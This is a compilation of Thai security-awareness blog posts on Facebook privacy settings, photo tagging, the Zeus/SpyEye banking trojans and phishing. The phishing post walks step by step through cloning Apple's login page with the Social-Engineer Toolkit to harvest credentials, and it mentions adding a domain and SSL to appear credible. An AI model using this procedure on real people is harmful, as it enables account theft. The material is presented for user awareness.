การเลือกแบบ custom นั้น อาจจะเห็นค้านคิดว่ายุ่งยากเนื่องจากต้องมากำหนดว่า friend คนไหนจะมีสิทธิ์อะไรได้บ้าง แต่จริง ๆ แล้วเราสามารถเลือกหรือแบ่งกลุ่ม friend ลงใน list ที่เราสร้างได้ โดยให้เลือกที่ Friend ในหน้า profile ของเราจากนั้นเลือก Create List
การเลือก Friend ให้อยู่ใน List ก็สำคัญเช่นเดียวกัน ถ้าหากเรา add friend ลงในกลุ่ม Close Friend เราจะได้ update และ notification ที่บ่อยกว่ากลุ่มอื่น ๆ (ก็เพื่อนสนิทนี่นา) ขณะ friend ที่อยู่ในกลุ่ม Acquaintances ข้อมูล update จะไม่ค่อยถี่สักเท่าไร ส่วนกลุ่ม Restrictedให้ใส่คนที่จะ add เป็น friend เท่านั้นแต่ไม่ต้องการ share information ให้เค้าเช่นเจ้านายหรือลูกน้อง(แฟนคงมาใส่ในนี้ไม่ได้เนื่องจากอาจจะมีปัญหา Security ด้านอื่นแทน) ลืมบอกไปว่าพวก Restricted จะเห็นเฉพาะ Content ที่เรา set ให้ Public เท่านั้นซึ่งครอบคลุม Post และ Tag หากเราไม่อนุญาตให้ Restrict เห็นพวกเค้าก็จะไม่เห็น ลองดูตัวอย่างการใช้งานเพิ่มเติมได้จาก [What happens when I add someone to the Restricted list?](https://www.facebook.com/help/206571136073851/){rel=""nofollow""}
> การ add friend ลงในกลุ่ม List ที่ทำการ Create ขึ้น friend ที่เราจัดกลุ่มให้จะได้รับ Notification ให้ update ข้อมูล Profile ด้วยเช่นกัน ว่าเรากับเค้ามี Relationship Group กันแบบไหน ดังนั้นอย่าไปซี้ซั้วตั้งชื่อ List ว่า "เกลียดมาก" แล้ว add คนคนนั้นไปใน list อันนี้เนื่องจากพวกเค้าจะได้ Notification ว่าเรา Add เค้าลงไปในกลุ่ม ซึ่งจะซวยกว่าเดิมนะครับ
คราวนี้เรามา Set Privacy ให้ละเอียดมากขึ้นทีละ Scope ที่ Facebook มีให้
โดยเริ่มจาก
1. How You Connect : ควบคุมสิทธิ์การติดต่อกับตัวเรา ไม่ว่าจะเป็นการ search หาใน TimeLine, การส่ง Friend Request หรือ Private Message ควรกำหนดให้ปลอดภัยเท่าที่เราต้องการ
2. Timeline & Tagging : ควบคุมการเข้าถึง Post บน Timeline หรือ Page ของเราและการจัดการการ Tagging ควรจะ set ให้เฉพาะคนที่อนุญาตเท่านั้นและควรที่จะมีการ Review การกระทำเหล่านั้นดังภาพ :br
เรื่องการ Review สำคัญนะครับ บางครั้งอยู่ ๆ ใครก็ไม่รู้ไป Tag ภาพของเราโดยที่เราอาจจะไม่อยากให้ Tag หรือ Post ข้อความที่เราไม่อยากให้ Post ใน Timeline ของเรา ดังนั้น Enable feature นี้ขึ้นมาดีกว่าครับ
3. Ads, Apps and Websites : ควบคุมการเข้าถึงข้อมูลของเราจากพวก Advertisement, Facebook Apps และ Website ต่าง ๆ ซึ่งต้องระวังเป็นอย่างยิ่งเนื่องจากเราไม่รู้ว่า application เหล่านั้น, websites หรือ ads ใด ๆ จะมาเอาข้อมูลของเราไปใช้ประโยชน์อย่างอื่นหรือไม่
---
Apps you use : อะไรที่ไม่จำเป็นก็เอาออกซะ, application ที่อันตรายหรือไม่ปลอดภัยต้องระวังให้มาก เนื่องจากคนที่เล่น facebook ส่วนใหญ่มักไม่ค่อยระวัง เวลามี application ใหม่ ๆ หรือ invitation จากเพื่อน ๆ ส่งมาให้เรา add application เข้าไปใน facebook แล้วดันลืมกำหนดสิทธิ์ให้เหมาะสม เช่นถ้าเรา click เลือกไปที่ Edit Setting จะพบว่าจะมี list ของ application ที่เราเคยเล่นมาทั้งหมดดังภาพ
สมมติว่าเราอยากรู้ค่า setting ของ Socialcam ก็ให้ click เข้าไปดู พบว่ามันสามารถ Post ด้วยสิทธิ์ของเราได้ :br
ค่าการ setting แบบนี้ถ้า application ไหนบังคับให้ใช้งานก็ให้ลบออกไปดีกว่าครับ อย่าไปเล่นมันเลย
Old versions of Facebook for mobile : version เก่า ๆ ของ Facebook บน Mobile นั้นค่า Privacy Setting ยังไม่ดีเท่าไรจึงมี option นี้จัดเตรียมให้ แนะนำให้กำหนดไปที่อย่างต่ำ Friends
How people bring your info to apps they use : ค่านี้เป็นตัวแสบ ต้องควบคุมให้ดีถึงแม้ว่าเราจะไม่ได้เล่น game หรือ application ที่อันตราย แต่หาก Friends ของเราเล่น game หรือ application เหล่านั้นมันสามารถเข้าถึงข้อมูลของเราได้ผ่าน Friends พูดง่าย ๆ ก็คือสิทธ์คล้าย ๆ กับ Friend ของเรานั่นเอง แนะนำว่าไม่ต้อง share ข้อมูลให้กับ apps ตามรูป :br
Instant personalisation : Facebook มี partners website อยู่ด้วย option ข้อนี้สำหรับการเข้าถึงข้อมูลจาก partner website แนะนำว่าไม่ต้อง share ให้หรอกครับ :br
Public Search : ควบคุมการเข้าถึงหน้า Facebook จาก Search engine ต่าง ๆ ขอแนะนำว่าถ้าหากเราไม่ต้องการให้คนที่เราไม่รู้จักค้นหาหน้า Facebook ของเราผ่านทาง google หรือ search engine ได้ เราก็ไม่ควร Enable Public Search
---
เรื่อง Privacy ยังไม่จบแค่นี้นะครับ ตอนหน้าเราจะมาพูดถึง Privacy ในส่วนของ Photo Album ว่าเราควรจะ set อย่างไรให้ปลอดภัย
[/blogs/facebook-security-part-2-protect-our-photo-privacy](https://incognitolab.com/blogs/facebook-security-part-2-protect-our-photo-privacy)
# Facebook Security Part 2: Protect our Photo Privacy
## การตั้งค่าความเป็นส่วนตัวของรูปภาพให้ปลอดภัย
การใช้งาน Facebook สิ่งหนึ่งที่มักจะหลีกเลี่ยงไม่ได้เลยก็คือการใช้งานรูปภาพโดยเฉพาะอย่างยิ่งการ Upload รูป Facebook ยุคแรกๆการ Upload ต้องทำผ่าน PC เท่านั้นแต่ปัจจุบันสามารถ Upload ผ่าน Mobile Platform ต่างๆได้ การตั้งค่าความปลอดภัยให้กับรูปที่ทำการ Upload นั้นจึงมีความสำคัญอย่างยิ่ง ผมขอให้พิจารณาเรื่องดังต่อไปนี้
1. วิธีการ Upload รูปบน Facebook มี 2 ช่องทางดังนี้
- สำหรับรูปที่ Upload ผ่านทาง PC : การตั้งค่าการเข้าถึงสามารถบังคับแบบ Album หรือแบบแต่ละรูปเลยก็ได้
- สำหรับรูปที่ Upload ผ่านทาง Mobile : เนื่องจากความสะดวกทำให้การ Upload รูปเป็นสิ่งที่ง่ายขึ้น รูปที่ทำการ Upload ผ่าน Mobile จะอยู่ใน album ชื่อ Mobile Uploads ณ ขณะที่ทำการ Upload เราสามารถกำหนดว่า ใครที่เราอยู่ด้วยและสถานที่(ถ้าหากทำการ Enable Location Service เอาไว้) สิ่งสำคัญที่ควรทำก็คือ ถ้าหากไม่จำเป็นเราไม่ควรบอก Location กับใคร และกำหนดสิทธิ์ให้กับคนที่เราอยากให้เห็นภาพเท่านั้น
2. ให้ตั้งค่าป้องกันการ Tag อัตโนมัติไว้ด้วย : ค่านี้ถูกอธิบายในบทความ
[/blogs/facebook-security-part-1-privacy](https://incognitolab.com/blogs/facebook-security-part-1-privacy)
ไว้แล้วเรื่องการ Enable การ Review Post และ Tag ให้ลองเข้าไปอ่านกันดูครับ ซึ่งถ้าเราบังเอิญถูก Friend คนไหนก็ไม่รู้มา Tag เรา เราสามารถป้องกันไม่ให้ไปโผล่บน Timeline ของเราได้ โดยลำดับแรกไปที่ Profile ของเรา
เลือกไปที่ Review Post จากนั้นก็ Hide ไม่ให้ไปแสดงใน Timeline ของเราครับ และถ้าไม่อยากให้มี Tag ใดๆเลยเกี่ยวกับเราในรูปนั้นก็ให้ Browse ไปที่รูปเลือก Option ตามภาพ และเลือก untag แต่ถ้ารูปที่เห็นเรารับไม่ได้จริงๆ ก็เลือก option ที่สองไปเลยนะครับ ในบทความตอนถัดไปจะกล่าวถึงการตั้งค่าความปลอดภัยให้กับ Account ของตัวเราเอง ว่าจะต้องตั้งค่าอย่างไรและต้องระวังเรื่องอะไรบ้าง
# Banking Trojan
ช่วง 1-2 ปีที่ผ่านมามี virus/trojan หรือเรียกโดยรวมว่า malware ประเภทหนึ่งที่ผู้เชี่ยวชาญให้คำจำกัดความว่า highly sophisticated ซึ่งหมายถึงมีความซับซ้อนสูง malware ที่กล่าวถึงในบทความนี้ถูกสร้างขึ้นมาเพื่อทำการโจรกรรมการทำธุรกรรมออนไลน์เป็นหลัก ทั้ง US และหลายประเทศใน EU ถ้าดูจากภาพด้านล่างซึ่งได้มาจาก [รายงาน F-Secure Threat Report H1-2012](http://www.f-secure.com/static/doc/labs%5Fglobal/Research/Threat%5FReport%5FH1%5F2012.pdf){rel=""nofollow""}
อย่างไรก็ตามผมรู้สึกว่าสถานการณ์มันเริ่มจะไม่ค่อยจะดีครับ เพราะมีการโจมตีบ่อยขึ้นในประเทศไทย ซึ่งธนาคารชั้นนำหลายแห่งในประเทศไทยเคยเผชิญกับ Zeus/SpyEye มาแล้วทั้งสิ้น บทความชิ้นนี้จึงถูกเขียนขึ้นเพื่อให้ความรู้และแจ้งเตือนกับผู้ใช้งานทุกท่านให้ระมัดระวังกันมากยิ่งขึ้น
## Internet Banking
กิจกรรมที่เป็นการทำธุรกรรมออนไลน์ที่ใช้งานมากที่สุดคงหนีไม่พ้น Internet Banking นั่นเป็นสาเหตุว่าทำไม hacker ถึงเลือกที่จะโจมตีกิจกรรมนี้เป็นหลัก เนื่องด้วยสาเหตุคือมีคนใช้งานอยู่เยอะ มีระบบอยู่หลากหลาย และได้เงินแน่ ๆ หากทำสำเร็จ
ปกติแล้วการเข้าใช้งาน Internet Banking ผู้เข้าใช้งานก็จะทำการเปิด Web Browser เช่น IE,Firefox,Chrome หริอ Safari จากนั้นก็พิมพ์ URL ของระบบ Internet Banking ที่ผู้ใช้งานเปิดใช้บริการกับสถาบันการเงินนั้น ๆ ที่ตนเองเป็นลูกค้า ทำการกรอก Username และ Password ก็จะทำการเข้าสู่ระบบได้ ทีนี้พอมาถึงช่วงที่ต้องทำการโอนเงินไปบัญชีอื่น ๆ อาจจะเป็นบัญชีของผู้ใช้เองหรือบัญชีบุคคลที่สาม จะมีระบบป้องกันที่เรียกว่า Multifactor Authentication ซึ่งจะใช้การระบุตัวตนว่าผู้ใช้เป็นเจ้าของบัญชีนั้นจริง ๆ หาก Username และ Password สูญหายหรือบุคคลอื่นทราบก็จะสามารถเข้าสู่บัญชีของลูกค้าคนนั้นได้ แต่ก็ทำธุรกรรมที่สำคัญไม่ได้ สิ่งที่ธนาคารทุกที่นิยมใช้กันก็คือ รหัสผ่านแบบครั้งเดียว Time-based OTP(One Time Password) ซึ่งจะส่งรหัส OTP มาทาง SMS ผ่านทางโทรศัพท์มือถือที่ผู้ใช้หรือเจ้าของบัญชีทำการลงทะเบียนกับธนาคาร การทำธุรกรรมที่สำคัญจึงจำเป็นต้องใช้ OTP ก่อนจึงจะทำธุรกรรมนั้น ๆ ได้ หาก Username หรือ Password หายและ OTP ถูกดักจับได้ ก็ไม่สามารถใช้งานได้อีกเพราะ OTP จะใช้งานแค่ครั้งเดียว ภายใต้เวลาที่จำกัด วิธีการนี้ดูเหมือนจะปลอดภัยก็จริง แต่ Malware ที่กล่าวถึงมันสามารถเอาชนะและจัดการยึดบัญชีของผู้ใช้ได้อยู่ดี
## รู้จักกับ Zeus/SpyEye
ทั้ง 2 ตัวจัดเป็น Banking Trojan ถูกสร้างและออกแบบมาเพื่อโจมตี Internet Banking มีความสลับซับซ้อน รูปแบบการโจมตีมีความยืดหยุ่น มีความสามารถในการพรางตัวสูง ทำงานเป็นอิสระ และสามารถทำงานผ่านการควบคุมจาก C\&C (Command and Control Centre) สามารถเรียนรู้พฤติกรรมผู้ใช้งาน เลือกการโจมตีให้ใกล้เคียงกับการใช้งานปกติของผู้ใช้ สามารถอัพเดตตัวเองได้ สามารถปรับเปลี่ยนตัวเองไม่ให้โปรแกรม Antivirus ตรวจจับได้(Advanced Polymorphic Stealth Technique)
## Zeus/SpyEye โจมตีเหยื่ออย่างไร ขอแบ่งเป็นช่วงการโจมตีย่อย ๆ ดังนี้
1. Infection Phrase :br
Link หรือ file แนบใน spam mail ซึ่งมีหลายประเภทเช่น file ประเภท .exe,.pdf และ Microsoft Office, การเข้าไป web ที่ถูก hacker โจมตีและฝัง script ไว้, portable USB drive ที่ติดไวรัสหรือการถูกโจมตีผ่านเครือข่าย Internet เป็นช่องทางแรกที่ Zeus/SpyEye จะเข้ามาสู่เครื่องของเรา โดยจะทำการหาช่องโหว่ของเครื่องผู้ใช้เริ่มจาก Java Runtime, Adobe Flash, Adobe Reader และตัวระบบปฏิบัติการโดยเฉพาะ MS Window หลังจากที่พบช่องโหว่แล้ว Zeus/SpyEye จะทำการติดตั้งในเครื่องของผู้ใช้แบบเงียบ ๆ
2. Attack Phrase :br
Zeus/SpyEye จะรออย่างเงียบ ๆ ในเครื่องผู้ใช้งาน เมื่อผู้ใช้งานเข้าระบบ Internet Banking เจ้า Zeus/SpyEye จะทำการตรวจสอบการใช้งานว่า เป็นบัญชีประเภทไหน ธนาคารอะไร จำนวนเงินเท่าไร และถ้าค่าต่าง ๆ เหล่านี้เป็นค่าที่ Zeus/SpyEye สามารถโจมตีได้มันจะทำการติดต่อกับ Command and Control Centre และใช้เทคนิคที่เรียกว่า HTML Injection เปลี่ยนแปลงสิ่งต่าง ๆ เพื่อหลอกลวงและซ่อนสิ่งที่ผู้ใช้เห็นผ่าน Browser ซึ่งแต่ละขั้นตอนสามารถอธิบายได้ดังนี้
- เมื่อ User เข้าไปที่ URL ของ Internet Banking จากนั้นป้อน username และ password, Zeus/SpyEye จะเริ่มทำงาน
- ขั้นตอนนี้มีความหลากหลายแล้วแต่ประเภทย่อย(Variance)ของ Zeus/SpyEye ที่เจอครับ โดยประสบการณ์ที่เคยพบส่วนใหญ่ Zeus/SpyEye จะปลอมหน้าจอ หรือบิดเบือนบางสิ่งบางอย่างบน Page ปกติเพื่อหลอก User โดยหน้าจอที่เห็นอาจจะเป็นหน้าจอที่แสดงข้อผิดพลาด หรือหน้าจอบอกให้รอสักครู่เพื่อทำการถ่วงเวลา User เอาไว้ User จะไม่สามารถรู้ได้ว่า ณ ขณะนี้กำลังถูก Zeus/SpyEye เล่นงานอยู่ เนื่องจาก URL ก็เป็น URL ของธนาคาร มีเพียงแต่หน้าเว็บเท่านั้นที่จะมีการเปลี่ยนแปลงไปจากเดิม
:brในช่วงหลังจากที่ดักจับ Username และ Password ได้สำเร็จ Hacker ก็จะทำการ Login เข้าสู่ระบบและทำธุรกรรมเองหรือสามารถสั่งให้ process ฝั่ง User ทำการ Login ได้ หรือพูดให้ง่ายขึ้นก็คือ Web Browser ฝั่ง User ถูก Hacker ยึด ณ ขณะที่ทำการ Login อยู่ ทุก ๆ คำสั่งที่วิ่งไปยังธนาคารออกจากเครื่องของ User ทั้งสิ้น ซึ่ง Countermeasure ที่ธนาคารทุกที่มักจะใช้ก็คือถ้ามี Login จาก User คนเดียวกัน โดยที่ค่า Session ต่างกัน จะต้องมี Session ใด Session หนึ่งหลุดหรือทั้งสอง Session จะถูกเตะออกมาทันทีไม่มีใครใช้ได้ ซึ่งวิธีนี้ช่วยอะไรไม่ได้ครับเนื่องจาก Zeus/SpyEye ใช้ Session ของ User คนคนนั้นเอง หากการกระทำบางอย่างเช่นการเพิ่มบัญชีใหม่หรือการโอนเงิน จำเป็นต้องใช้การพิสูจน์ตัวตนเพิ่มเติมไม่ว่าจะเป็น OTP หรือ Smartcard หรือ PIN ตัว Hacker ก็จะส่งคำสั่งไปที่หน้าจอของเหยื่ออีกครั้ง
- เช่น กรอก OTP เพื่อโอนเงินไปบัญชีบุคคลที่ 3 แต่ช่องที่ User กรอกข้อมูล อาจจะขึ้นว่าให้กรอก OTP เพื่อยืนยันตัวตนแทน ถ้าไม่พิจารณาให้ดีย่อมตกเป็นเหยื่อแน่นอน
- หน้าจอจะแสดงข้อความให้ User รอ หลังจากที่ hacker ขโมยโอนเงินได้สำเร็จ สำหรับใน Variance ที่มีความสามารถสูง ๆ Zeus/SpyEye ก็จะเปลี่ยนแปลงข้อมูลบนหน้าจอ เพื่อซ่อนการขโมยเงินนี้โดยจะเปลี่ยนค่าต่าง ๆ เช่นจำนวนเงินคงเหลือ ซ่อนธุรกรรมที่ถูก Zeus/SpyEye ควบคุม ซ่อนการ Login ที่น่าสงสัย หาก User สั่ง print Statement ก็จะทำการหลอกส่งค่าที่ถูกปลอมแปลงไปที่ printer อีกด้วย
## ความหลากหลายที่เพิ่มขึ้น
Zeus/Spyeye ยังคงโจมตีอยู่เรื่อย ๆ โดยล่าสุดพบว่าประเทศในยุโรปถูกการโจมตีที่เรียกว่า Campaign: EuroGrabber ซึ่งมูลค่าความเสียหายประมาณ 36 Million Euros จากเหยื่อประมาณ 30000 คน การโจมตีนั้นมีรูปแบบเดียวกับ Banking Trojan ที่กล่าวถึง(ตระกูลของ Trojan ประเภทนี้ชื่อ Citadel เป็น variant ของ Zeus/SpyEye นั่นแหละครับ : [รายละเอียดทางเทคนิค](http://eternal-todo.com/blog/uncovering-eurograbber-36-million-eur){rel=""nofollow""}) แต่การโจมตีนั้นครอบคลุมถึงการหลอกให้ผู้ใช้งาน Install Trojan ลงบน Smartphone ของผู้ใช้ด้วยเพื่อขโมยรหัส OTP เพื่อการโจมตีเต็มรูปแบบ ดังภาพ
หากถามว่า Trojan มันลามมาติดบนมือถือได้อย่างไร คำตอบก็คือผู้ใช้งานนั่นแหละครับถูกหลอกให้ติดตั้ง Trojan ลงไป โดยหลังจาก Login เข้า Internet Banking แล้วจะมีหน้าจอมาหลอกให้ Install โปรแกรมบางอย่าง
คราวนี้ก็ไม่มีอะไรป้องกันได้อีกแล้วครับ เนื่องจาก Hacker สามารถได้ข้อมูลทุกอย่างทั้ง Username,Password และรหัส OTP จาก SMS สำหรับข้อมูลเพิ่มเติมของ EuroGrabber สามารถอ่านได้จาก [Eurograbber\_White\_Paper ซึ่งจัดทำโดย Check Point and Versafe](http://www.cheapers.com/Eurograbber%5FWhite%5FPaper.pdf){rel=""nofollow""}
## วิธีการหลีกเลี่ยงและป้องกัน
1. เครื่อง PC,Laptop หรือ Mobile ที่ทำธุรกรรมออนไลน์ต้องเป็นเครื่องที่เรามั่นใจว่าปลอดภัย เช่นมีโปรแกรม Antivirus ที่มี Licence มีการ Update สม่ำเสมอ ถ้าเป็นเครื่อง Mobile ก็ไม่ควรใช้ผ่านเครื่องที่ผ่านการ Jailbreak หรือ Jailroot
2. อย่า Click Link หรือเปิด File แนบที่ได้รับจากคนที่เราไม่รู้จัก หรือหากมาจาก email คนรู้จักควรพิจารณาให้ดีด้วยว่าเจ้าตัวเป็นคนส่งจริงหรือไม่ App ต่าง ๆ บน Social Network ควรพิจารณาให้ดีก่อนใช้
3. หน้า Page ของธุรกรรมออนไลน์ไม่ควรแสดงผลผิดปกติอย่างที่เคยเป็น ถ้าหากพบเห็นสิ่งผิดปกติต้องรีบแจ้ง Call Centre ก่อน ไม่ควรกรอกข้อมูลอะไรทั้งสิ้น
4. ทุก ๆ กิจกรรมที่สำคัญจะมีการบังคับใส่ OTP ก่อน ให้อ่านข้อความ SMS หรือ Text ที่ได้รับจากธนาคารก่อนว่าได้รับ OTP สำหรับทำกิจกรรมอะไร และรหัสอ้างอิง(Reference Code)อะไร เป็นสิ่งที่เรากำลังตั้งใจทำอยู่ใช่หรือไม่ ถ้าผิดจากสิ่งที่ควรจะเป็นเช่น Login เสร็จแล้วมี OTP บอกว่ากำลังเพิ่มผูกบัญชีบุคคลที่ 3 นั่นแสดงว่าเรากำลังถูกโจมตีแล้ว
5. หากพบเห็นสิ่งผิดปกติ ให้ Capture หน้าจอ ส่งธนาคารต้นสังกัด หากสงสัยว่าเครื่องติด Zeus/SpyEye ทางเดียวที่ดีที่สุดคือ ให้รีบเปลี่ยน Password ของเราผ่านเครื่องที่ปลอดภัย และรีบตรวจสอบ Transaction ย้อนหลัง หากไม่สบายใจก็ระงับการใช้งานไปก่อน ส่วนเครื่องที่ติดโทรจันให้ทำการ Format และ Install เครื่องใหม่จะปลอดภัยที่สุดครับ
6. สำหรับธนาคาร หรือผู้ให้บริการทางการเงินควรมีการส่ง SMS OTP ที่ละเอียดพอ บ่งบอกว่า SMS สำหรับใช้ในการทำอะไร เช่น SMS OTP สำหรับการโอนเงิน โดยมี Reference Code\:XXXX และ OTP คือ YYYY เป็นต้น
REF: We would like to give a credit to Kaspersky to create [this inforgraphic](https://d2jhuj1whasmze.cloudfront.net/photos/original/Ud8o.png){rel=""nofollow""} which we referred in this article.
# Don’t get hooked with phishing fraud
จากเรื่อง Phishing ที่หลอกเรื่องการโหลด Sticker ของ Line ฟรี นำไปสู่การขโมย Apple ID [{rel=""nofollow""}]
บทความนี้เราจะแสดงให้เห็นว่าจริง ๆ แล้วการสร้าง Phishing Website นั้นง่ายมาก ถึงขนาดที่ว่าผู้ร้ายไม่ต้องมีความสามารถในการเขียนโปรแกรมก็ทำได้นะครับ ซึ่งหาก User ไม่มี Awareness ที่มากพอก็อาจตกเป็นเหยื่อของผู้ร้ายได้ง่ายนะครับ
การทำ Phishing นั้นถือว่าเป็นการโจมตีในรูปแบบที่เรียกว่า Social Engineering ซึ่งเป็นวิธีการที่เน้นโจมตีไปที่คน \[Human] เพื่อหลอกล่อให้เปิดเผยข้อมูลลับออกมา วิธีการของ Social Engineering รวมไปถึง Shoulder Surfing ซึ่งคือแอบมองด้านหลังนั่นเอง หรือแม้แต่ Dumpster Diving ซึ่งคือการค้นหาข้อมูลในถังขยะที่อาจจะมีคนนำกระดาษที่มีข้อมูลสำคัญมาทิ้งไว้
เริ่มวิธีการสร้าง Phishing Website โดย Tool ที่ชื่อว่า Social-Engineer Toolkit (SET)
1. หน้าแรกหลังจากเปิดโปรแกรม SET ขึ้นมา เป็นรายละเอียดทั่ว ๆ ไปเกี่ยวกับ SET โดยมีผู้พัฒนาคือ David Kennedy ซึ่งเป็น 1 ในผู้ก่อตั้ง DerbyCon และผูู้พัฒนา Fast-Track ด้วย รวมถึงร่วมก่อตั้ง [www.social-engineer.org](https://www.social-engineer.org/){rel=""nofollow""} แต่ในภายหลังได้ก่อตั้งบริษัทของตัวเองชื่อ [TrustedSec](https://www.trustedsec.com/){rel=""nofollow""} เเละได้เขียนหนังสือชื่อ [Metasploit: The Penetration Tester’s Guide](https://www.amazon.co.uk/gp/product/159327288X/){rel=""nofollow""} ซึ่งผมเชื่อว่าคนในวงการจะต้องเคยเห็นหนังสือเล่มนี้แน่นอน
2. เลือก 1) Social-Engineering Attacks
3. จะมี menu ให้เลือกมากมาย ซึ่ง menu เหล่านี้ก็คือ option ต่าง ๆ สำหรับไว้หลอกล่อเหยื่อนั่นเอง ซึ่ง Tool นี้จะ Support หลาย ๆ วิธี ซึ่งในบทความนี้จะขอเลือก 2) Website Attack Vectors
4. การใช้ Website หลอกเหยื่อก็มีหลาย option เพื่อความสะดวก ไม่ว่าจะเป็น เอา Template ที่มีอยู่แล้วมาใช้ หรือ นำ URL Website ที่ต้องการมาใส่ แม้แต่กระทั่งใส่ code เองก็ทำได้ ซึ่งในที่นี้ขอเลือก 2) Site Cloner
5. เมื่อเลือกวิธีการ Clone Site มาแล้ว จะต้องใส่ข้อมูลเพิ่มเติมคือเครื่องที่จะใช้ในการรับข้อมูลตอนที่เหยื่อโดนหลอก ซึ่งในที่นี้ผมทำการทดลองบนเครื่องของผมเอง ดังนั้นใส่เป็น Localhost ครับ
6. ถัดมาขั้นตอนสำคัญ คือจะให้ Clone จาก Site ไหนมาดี ตาม Case Study นี้แล้วคงเป็น Web ไหนไม่ได้นอกจากหน้า Web ของ Apple ที่มีให้ใส่ Apple ID
7. เมื่อใส่ข้อมูลเรียบร้อยทั้งหมดแล้ว Tool จะทำหน้าที่ Clone หน้า Web ขึ่้นมา รอให้เหยื่อเข้า Web และ Tool ก็จะคอยรอรับ input จากเหยื่อด้วย
8. หน้า Phishing Website ที่เพิ่งสร้างเรียบร้อย
- สังเกตที่ URL นะครับ ในที่นี้เป็น IP ของเครื่องผม แต่ถ้าเป็นกรณีที่จะโจมตีจริง ๆ ก็จะมีการจด Domain ที่มีความน่าเชื่อถือมากขึ้นเพื่อหลอกให้เหยื่อหลงกลได้
- ไม่มีการใช้ SSL Certificate โดย Default ของ Tool \[หากใครไม่รู้จัก SSL ก็คงเคยได้ยินที่คนเข้าบอกกันว่ารูปแม่กุญแจหรือ HTTPS น่ะครับ] ซึ่งถ้าทำจริง ๆ แล้วก็สามารถใส่ SSL Certificate เข้าไปเพื่อเพิ่มความน่าเชื่อถืออีกขั้นหนึ่งได้ แต่การหา SSL Certificate นั้นถ้าทำแบบไม่ลงทุนมาก็จะใช้ Self-Signed Certificate ซึ่งเวลาเราเข้า Website แล้ว Browser จะเตือนว่าเป็น Invalid Certificate ซึ่งคนที่ขาด Awareness ก็มักจะกด Exception เพื่อเข้า Website น่ะครับ หรือหากผู้ร้ายคิดจะใช้ SSL ที่มีความน่าเชื่อถือก็อาจจะใช้วิธีการซื้อ SSL Certificate จาก Certificate Authority (CA) ที่ไม่ค่อยเคร่งในเรื่องการ Verify ผู้ซื้อมากนัก ซึ่งตรงนี้แหละที่ทำให้ Security Awareness ถือว่าสำคัญมาก
9. ลอง Login ผ่านหน้า Phishing Website
10. เมื่อมีการใส่ข้อมูล Username และ Password เรียบร้อยและกด Sign in หน้า Web ก็จะถูก Redirect กลับมาสู่หน้าจริง ๆ ของ Apple เพื่อหลอกให้เหยื่อคิดว่าอาจจะแค่เป็นการใส่ Password ผิดเท่านั้น
11. แต่สำหรับฝั่งผู้ร้ายนั้นก็จะได้ข้อมูล Username และ Password ของเหยื่อ ไปเรียบร้อยแล้วครับ
---
บทความนี้เขียนละเอียดไม่ใช่เพื่อให้คนเอาไปใช้ในทางที่ผิดนะครับ ผมอยากให้ทุกคนทราบว่ามันง่ายมากแค่ไหนสำหรับการทำ Phishing Website ขั้นตอนทั้งหมดนี้อาจจะใช้เวลาแค่ 1-2 นาทีก็เรียบร้อยแล้ว ซึ่งต่อให้ระบบมีการป้องกันที่สุดยอดแค่ไหน หาก User ยังไม่มี Security Awareness ที่มากพอ User ก็ยังมีโอกาสที่จะโดนหลอกได้อยู่ดี ดังคำที่บอกว่า "Human is the weakest link in security chain" นั่นเอง
# 007 Skyfall : the untold story
สวัสดีปีใหม่ สำหรับในปี 2012 ที่ผ่านมาทางทีมงาน Incognito Lab ของเรา ขอขอบคุณทุก ๆ ท่านที่คอยติดตามเรา และ ส่งเมล์เข้ามาให้กำลังใจทีมงานอย่างมากครับ
สำหรับ Post แรกของปีนี้เราจะมาพูดถึงหนังใหญ่ในปี 2012 กัน นั่นคือ 007 Skyfall ซึ่งสำหรับคนที่ยังไม่ได้ดูนี่อาจจะเป็นการ Spoil เล็กน้อยนะครับ
{width="100%"}
เนื้อเรื่องในภาคนี้ค่อนข้างจะถูกใจผมมากในหลาย ๆ ฉาก รวมถึง plot เรื่องที่มีตัวละครร้าย Silva ซึ่งเป็น Hacker ฝีมือดี และมีเรื่อง Security เกี่ยวข้องมากมาย เช่น ปืนของ Bond ที่ Q สร้างให้นั้นจะต้องมีการ Authentication ก่อนโดยใช้เทคโนโลยีพวก Biometrics เพื่อยืนยันว่าเป็น Bond เท่านั้นถึงจะใช้ยิงได้
รู้จักกับ [MI6 (Military Intelligence, Section 6) หรือ Secret Intelligence Serivce (SIS)](https://www.sis.gov.uk/){rel=""nofollow""} ก่อนซักนิด MI6 เป็นหน่วยงานสืบสวนราชการลับของสหราชอาณาจักร (UK) ที่จะเน้นการปฏิบัติหน้าที่นอกสหราชอาณาจักรเป็นหลัก เพื่อสร้างความมั่นคงปลอดภัยให้กับสหราชอาณาจักร ซึ่งในสงครามโลกครั้งที่ 2 หน่วยงาน MI6 ก็มีส่วนในการช่วยถอดรหัสของ Enigma ที่ Bletchy Park
[/blogs/the-second-world-war](https://incognitolab.com/blogs/the-second-world-war)
ด้วยเหมือนกัน 1 ใน ฉากที่น่าสนใจคือการวางแผนหลบหนีของ Silva โดยการ Hack เข้าระบบเพื่อเปิดประตูหนี รายละเอียดของฉากนี้คือ หลังจากทาง MI6 จับกุม Silva ได้ และเตรียมหาข้อมูลโดยวิธีการ Digital Forensics กับเครื่อง Notebook ของ Silva ประเด็นเกี่ยวกับ Security ที่น่าสนใจคือ
- มีการทำ Encryption ข้อมูลเอาไว้ ซึ่งเป็นเรื่องของ DLP โดยรายละเอียดเรื่อง DLP สามารถดูได้จาก DLP ตอนที่ 1
[/blogs/whatsapp-insecurity-part-1](https://incognitolab.com/blogs/whatsapp-insecurity-part-1)
และ DLP ตอนที่ 2
[/blogs/whatsapp-insecurity-part-2](https://incognitolab.com/blogs/whatsapp-insecurity-part-2)
